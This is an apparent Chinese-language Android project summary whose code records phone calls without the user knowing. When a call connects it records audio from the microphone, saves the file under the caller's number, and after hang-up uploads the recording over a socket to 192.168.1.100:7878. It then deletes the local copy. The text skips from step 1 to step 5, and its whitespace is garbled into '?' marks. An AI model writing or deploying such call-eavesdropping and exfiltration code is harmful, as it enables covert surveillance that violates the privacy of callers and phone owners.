项目的总结1、phonelistener
private final class PhoneListener extends PhoneStateListener{private String incomingNumber;private File file;private MediaRecorder mediaRecorder;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch (state) {case TelephonyManager.CALL_STATE_RINGING://来电this.incomingNumber = incomingNumber;break;case TelephonyManager.CALL_STATE_OFFHOOK://接通电话file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");mediaRecorder = new MediaRecorder();mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);mediaRecorder.setOutputFile(file.getAbsolutePath());mediaRecorder.prepare();mediaRecorder.start();//开始录音break;case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态if(mediaRecorder != null){mediaRecorder.stop();mediaRecorder.release();mediaRecorder = null;uploadFile();}break;}} catch (Exception e) {e.printStackTrace();}}
?
5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成
private void uploadFile() {
???new Thread(new Runnable() {????
????public void run() {
?????try {
??????if(file!=null && file.exists()){
???????Socket socket = new Socket("192.168.1.100", 7878);
??????????????? OutputStream outStream = socket.getOutputStream();
??????????????? String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
??????????????? outStream.write(head.getBytes());
???????????????
??????????????? PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());?
???????String response = StreamTool.readLine(inStream);
??????????????? String[] items = response.split(";");
???????String position = items[1].substring(items[1].indexOf("=")+1);
???????
???????RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
???????fileOutStream.seek(Integer.valueOf(position));
???????byte[] buffer = new byte[1024];
???????int len = -1;
???????while( (len = fileOutStream.read(buffer)) != -1){
????????outStream.write(buffer, 0, len);
???????}
???????fileOutStream.close();
???????outStream.close();
??????????????? inStream.close();
??????????????? socket.close();
??????????????? file.delete();
??????????????? file = null;
?????????????? }
?????????? } catch (Exception e) {???????????????????
?????????????? e.printStackTrace();
?????????? }
????}
???}).start();
??}??